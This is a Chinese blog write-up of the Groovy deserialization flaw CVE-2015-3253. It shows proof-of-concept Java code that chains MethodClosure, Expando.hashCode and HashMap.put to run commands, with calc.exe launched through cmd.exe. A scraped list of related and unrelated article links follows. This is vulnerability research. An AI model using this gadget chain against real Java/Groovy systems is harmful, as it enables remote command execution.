0x00 前言

  Java反序列化的漏洞爆发很久了,此前一直想学习一下。无奈Java体系太过于复杂,单是了解就花了我很久的时间,再加上懒,就一直拖着,今天恰好有空,参考@iswin大佬两年前的分析,我自己跟踪了一下流程,并按自己的想法重写了一下POC,在此做个记录。

0x01 漏洞环境搭建

  首先我们需要明确的是,该漏洞影响的范围是Groovy 1.7.0-2.4.3。我们借助于Idea构建一个空白的maven项目,然后配置pom.xml文件,添加如下依赖:

    <dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.1</version>
</dependency>
</dependencies>

等Idea帮我们导入所需要的依赖库以后,我们就可以开始分析了。

0x02 不安全的对象方法调用

  在搭建好漏洞环境之后我们定位到漏洞现场,在 org.codehaus.groovy.runtime.MethodClosure 类中存在如下代码:

    protected Object doCall(Object arguments) {
return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
}

熟悉Java反射机制的话应该不难猜出doCall方法动态调用了指定对象的指定方法,而实际上该类的描述也恰好证实了这一点。我们继续跟进invokeMethod方法,org.codehaus.groovy.runtime.invokeHelper类:

    public static Object invokeMethod(Object object, String methodName, Object arguments) {
if (object == null) {
object = NullObject.getNullObject();
} if (object instanceof Class) {
Class theClass = (Class)object;
MetaClass metaClass = metaRegistry.getMetaClass(theClass);
return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
} else {
return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
}
}

从方法的参数表中我们可以看出,第一个参数为调用方法的对象,第二个参数为被调用执行的方法,第三个参数的含义为该方法的所需要的参数。

此时我写了一个测试代码如下:

MethodClosure mc = null;
try {
mc = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");
 } catch (IOException e) { e.printStackTrace(); } mc.call();

运行后:

0x03 寻找利用链

我们此时已经找到能够触发漏洞的点,接下来需要考虑的问题是,寻找调用call方法的地方,实现漏洞的利用。之所以要寻找调用call方法的地方是因为call方法调用了这里的doCall去执行指定对象的指定方法。通过Idea我们发现:

public int hashCode() {
Object method = this.getProperties().get("hashCode");
if (method != null && method instanceof Closure) {
Closure closure = (Closure)method;
closure.setDelegate(this);
Integer ret = (Integer)closure.call();
return ret;
} else {
return super.hashCode();
}
}

在Expando类hashCode方法中调用了call方法,这样我们只需要想办法调用hashCode方法即可调用其call方法。此时我们需要注意,Java中hashCode方法默认会返回该对象在JVM中的内存地址。当比较两个对象是否相等的时候,会调用该对象的hashCode以及equals方法进行比较,如果两个方法返回结果一致,那么比较的结果将返回真。否则,将返回假。

明白了hashCode方法以后,我们再来说说HashMap的put方法。HashMap是Java中的一种k-v数据结构,不允许存在相同的key。所以在put时候是会对key进行比对判断是否会重复的。此时如果我们可以控制key为恶意的对象,那么将会通过hashCode方法执行call方法,从而执行精心构造的代码。

当然在Expando中我们同样发现了toString方法存在调用call方法的代码,但是这里我们先重点关注hashCode方法。

0x04 构造利用代码

经过以上分析, 我们首先构造Expando对象,并通过其setProperty方法设置属性值的键为hashCode,值为我们的恶意对象。代码如下:

Expando ep = new Expando();

ep.setProperty("hashCode", evilObj);

然后通过调用HashMap对象的put方法触发这里恶意对象。

HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>();

hashMap.put(ep, 1);

然后这里的evilObj就很容易了,

MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");

全部代码如下:

// 创建恶意对象
Expando ep = new Expando(); MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");
// 将恶意Closure对象绑定到Expando对象 
ep.setProperty("hashCode", evilObj); HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>(); // 调用put方法从而调用HashCode方法
hashMap.put(ep, 1);

单步跟踪到hashCode方法的时候执行:

Groovy 反序列化漏洞分析(CVE-2015-3253)的更多相关文章

  1. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  2. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  3. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  4. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  5. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  6. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

  7. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

  8. Fastjson 1.2.22-24 反序列化漏洞分析(1)

    Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...

  9. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

随机推荐

  1. 【配色指南】UI设计中使用明亮色彩的利与弊,你知多少?

    以下内容由Mockplus团队翻译整理,仅供学习交流,Mockplus是更快更简单的原型设计工具. 合理运用色彩是每个设计师都应必须具备的技能,特别是插画师和UI设计师.随着扁平化设计和Materia ...

  2. 静态HTML服务器

    主要代码 #pragma once#include "pre.h"#include <thread> NAMESPACE(DEF) class Socket {publ ...

  3. JavaScript 对象属性作实参以及实参对象的callee属性

    参考自<<JavaScript权威指南 第6版>> /* * 将对象属性用作实参, 从而不必记住参数的顺序. */ function arraycopy(from,from_s ...

  4. windows下 git+tortoiseGit的使用【转】

    一定要自己写出来才能牢记,所以我来写一下 git确实比svn好用的多了,最起码只有一个文件夹用来标记版本信息比svn所有文件夹下都要放一个文件夹来标记版本信息先进多了,不然你不想要版本管理这些文件的时 ...

  5. B-spline Curves 学习之B样条曲线的系数计算与B样条曲线特例(6)

    B-spline Curves: Computing the Coefficients 本博客转自前人的博客的翻译版本,前几章节是原来博主的翻译内容,但是后续章节博主不在提供翻译,后续章节我在完成相关 ...

  6. MySQL简单实现多字段模糊查询

    我所做的商城项目前些时提了新需求,要求前台搜索商品除了能通过商品名称搜索到以外,还可以通过别个信息搜索,比如:商品编号.详情内容描述等等,类似于全文搜索了.我首先想到的就是lucene,但是对代码这样 ...

  7. python signal

    在了解了Linux的信号基础之 后,Python标准库中的signal包就很容易学习和理解.signal包负责在Python程序内部处理信号,典型的操作包括预设信号处理函数,暂 停并等待信号,以及定时 ...

  8. TFS文件编码检查机制和修改(Team Foundation Server 2013)

    TFS的版本控制系统会自动按照下面的标准检测代码文件的编码格式: 1. 首先,如果代码文件包含了BOM部分,则使用BOM中制定的编码格式打开文档 什么是BOM (Byte order mark)? h ...

  9. [Erlang18]教练!又发现Erlang Shell里面的神奇函数一只

      人嘛,总是想提高效率,创造更多的价值,同时也得到更多的选择空间.可一个人的精力,时间终归是有限的,减少自身重复或无意义工作就显得格外重要! 要么懂得授权,要么把重复的工作交给机器来做: 现实: 美 ...

  10. [javascript][翻译]使用javascript添加css rule

    来杭一周,收获很多,成长很多. 周六在搞一个插件的时候碰到需要动态添加伪元素的需求,搜了一下解决方案,有人用正则写出了读取伪元素的函数:我觉得倒是可以通过注入css rule的方式,来让预留有某些类的 ...